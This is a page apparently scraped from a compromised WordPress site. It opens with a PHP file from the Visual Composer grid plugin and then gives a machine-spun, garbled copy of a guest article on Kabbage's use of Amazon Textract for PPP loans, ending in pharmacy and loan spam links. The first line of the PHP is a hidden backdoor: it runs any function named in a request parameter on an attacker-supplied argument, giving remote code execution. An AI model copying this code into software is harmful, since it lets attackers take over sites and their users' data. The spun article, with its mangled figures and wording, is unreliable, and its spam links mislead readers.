?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Just how Kabbage enhanced the new PPP credit expertise in Amazon Textract - Groupe-SLG

http://antihousewife.com/2010/09/review-bobble-bottles?shared=email Groupe SLG

Just how Kabbage enhanced the new PPP credit expertise in Amazon Textract

Recrutement :

Nagareyama Just how Kabbage enhanced the new PPP credit expertise in Amazon Textract

This is an invitees article by Anthony Sabelli, Direct of data Research at the Kabbage, a document and you can technical business taking small company cash flow alternatives.

Kabbage is a document and technical team providing small company dollars disperse choice. A good way where i suffice the consumers is through bringing her or him entry to flexible personal lines of credit owing to automation. Small enterprises connect their actual-big date providers data in order to Kabbage to receive a fully-automatic resource choice within a few minutes, and that abilities provides contributed me to promote more than 500,000 smaller businesses accessibility over $sixteen billion of working money, for instance the Salary Protection System (PPP).

At the onset of COVID-19, in the event the country is actually closing off and small enterprises have been forced to close off their gates, we’d to overcome multiple technical demands if you are navigating new and you may ever-changing underwriting standards for just what turned the largest government relief work in the Small company Administration’s (SBA) history. Prior to the PPP, Kabbage got never ever issued an enthusiastic SBA financing just before. However in a matter of two weeks, the team endured right up a totally automated program when it comes down to eligible business-and clients, no matter what dimensions or prominence-to get into bodies financing.

Kabbage has actually constantly situated its underwriting for the genuine-date business data and you can funds results out-of consumers, perhaps not payroll and you may income tax studies, which were the key standards into PPP. In the place of a reputable API toward Irs to help speed up verification and you may underwriting, i had a need to eventually adapt our very own options to assist small enterprises availableness funding as fast as possible. Concurrently, we had been a small grouping of just a few hundred signing up for the brand new ranking out-of hundreds of experienced SBA loan providers having millions regarding group and trillions of dollars for the possessions in the their fingertips.

In this post, we display our connection with just how Auction web sites Textract helped support 80% off Kabbage’s PPP applicants to get a totally automatic credit sense and you will quicker recognition moments of multiple days so you’re able to a median price away from 4 instances. By the end of one’s system, Kabbage turned into next prominent PPP lender in the united kingdom by the app regularity, surpassing the major You banking institutions-as well as Chase, the largest financial in the us-offering over 297,one hundred thousand smaller businesses, and you can retaining an estimated 945,100000 efforts all over America.

Applying Amazon Textract

combine payday loans

As among the couples PPP lenders one to recognized apps of new customers, Kabbage noticed a heightened demand because the droves away from smaller businesses not able to make use of the help of its long-position lender turned to other lenders.

Companies had been needed to publish records regarding income tax filings so you can installment loan Windsor proof off business documents and you can types of ID, and you will initially, the finance have been underwritten by hand. A person needed to remark, verify, and you can type in values regarding some documents to substantiate the newest given payroll calculation and you may next fill out the application form into the SBA toward behalf of one’s customers. But not, in just weeks, Kabbage got many small enterprises distribution various to help you a huge number of data that easily mounted in order to millions. The work recommended automation.

We needed seriously to crack they on to bits. Our bodies currently excelled at the automating the new verification process aren’t called so you can as See Your company (KYB) and you will Discover Your web visitors (KYC), and this desired us to let websites-this new companies throughout the door, totaling 97% off Kabbage’s PPP people. Likewise, we wanted to standardize the borrowed funds calculation procedure therefore we you will definitely speed up document consumption, confirmation, and you can remark to extract just the suitable beliefs expected to underwrite the mortgage.

To accomplish this, we codified financing computation for different business items, also sole holders and you can independent contractors (hence totaled 67% in our PPP clients), around certain thinking available on some Internal revenue service models. We bootstrapped a primary classifier having trick Irs versions in this forty-eight period. The last difficulty would be to truthfully pull the values to procedure financing agreeable into the program. Amazon Textract try crucial in getting over that it last difficulty. We ran regarding POC to complete execution within per week, and full manufacturing inside a fortnight.

Partnering Auction web sites Textract towards the our very own pipes is actually very effortless. Particularly, i used StartDocumentAnalysis and you will GetDocumentAnalysis, that allows me to asynchronously relate with Amazon Textract. I together with learned that using models having FeatureTypes is suitable so you’re able to handling income tax data. Finally, Craigs list Textract is actually accurate, and it also scaled so you’re able to processes a hefty backlog. If we accomplished partnering Amazon Textract, we had been in a position to clear our backlog, plus it remained a button step-in the PPP circulate thanks to the end of the application form.

Big influence on smaller businesses

To have position, Kabbage customers reached nearly $step 3 billion in working capital loans in 2019, motivated because of the nearly sixty,100000 new customers. In just cuatro months, i put more than double the amount away from funding ($eight million) in order to approximately 5 times just how many new customers (297,000). Which have the average loan measurements of $23,100000 and you can a median financing measurements of $a dozen,700, more than ninety% of all the PPP people provides ten or a lot fewer personnel, symbolizing businesses often very at risk of crises but really missed when seeking to financial aid. Kabbage’s system welcome it so you can serve the new far-reaching and you can remote aspects of the world, delivering financing throughout fifty You states and you will regions, having 1 / 3 from fund approved so you can businesses from inside the zip rules having the common household money out-of lower than $fifty,000.

We are happy with what we and you can technical finished, outperforming the nation’s prominent finance companies which have a portion of the fresh new tips. For each 790 personnel in the a primary You financial, Kabbage features one staff member. But really, i exceeded the volume of money, providing nearly 3 hundred,100000 of one’s smallest people in the us for over $7 mil.

The trail forward

uob cash advance fee

During the Kabbage, i usually try to find the brand new analysis supplies to compliment all of our cash flow platform to improve usage of economic qualities to help you brief organizations. Amazon Textract greeting us to include another type of arrow to your quiver; we had never extracted opinions out-of tax filings ahead of the PPP. It reveals an opportunity for all of us and come up with all of our underwriting habits way more rich. This adds several other advice into monetary health insurance and efficiency out-of small enterprises whenever permitting our consumers accessibility resource, and offers a whole lot more facts within their income to create a more powerful business.

End

COVID-19 after that shown the new economic climate in the us underserves Fundamental Roadway team, as they depict 99% of all enterprises, half all of the efforts, and 1 / 2 of brand new non-farm GDP. Tech is fix which. It will take innovative choice such as for example what we created and delivered to your PPP so you’re able to eventually change how customers expect to availability economic services afterwards.

Auction web sites Textract is actually an important setting one welcome us to successfully get to be the 2nd-prominent PPP lender in the united states and you will fund a lot of small people after they necessary they the essential. I receive the entire process of partnering the new APIs towards our very own workflow easy and quick, which enjoy us to appeal longer to your ensuring more small businesses-the fresh new spine in our savings-acquired critical capital after they required they probably the most.

LEAVE COMMENT

Comprar Priligy sin receta Acheter Cytotec Köpa viagra på nätet Comprar Cialis generico España Køb Viagra Köpa Cialis på nätet Sverige Köpa viagra Sverige Comprar levitra por internet generico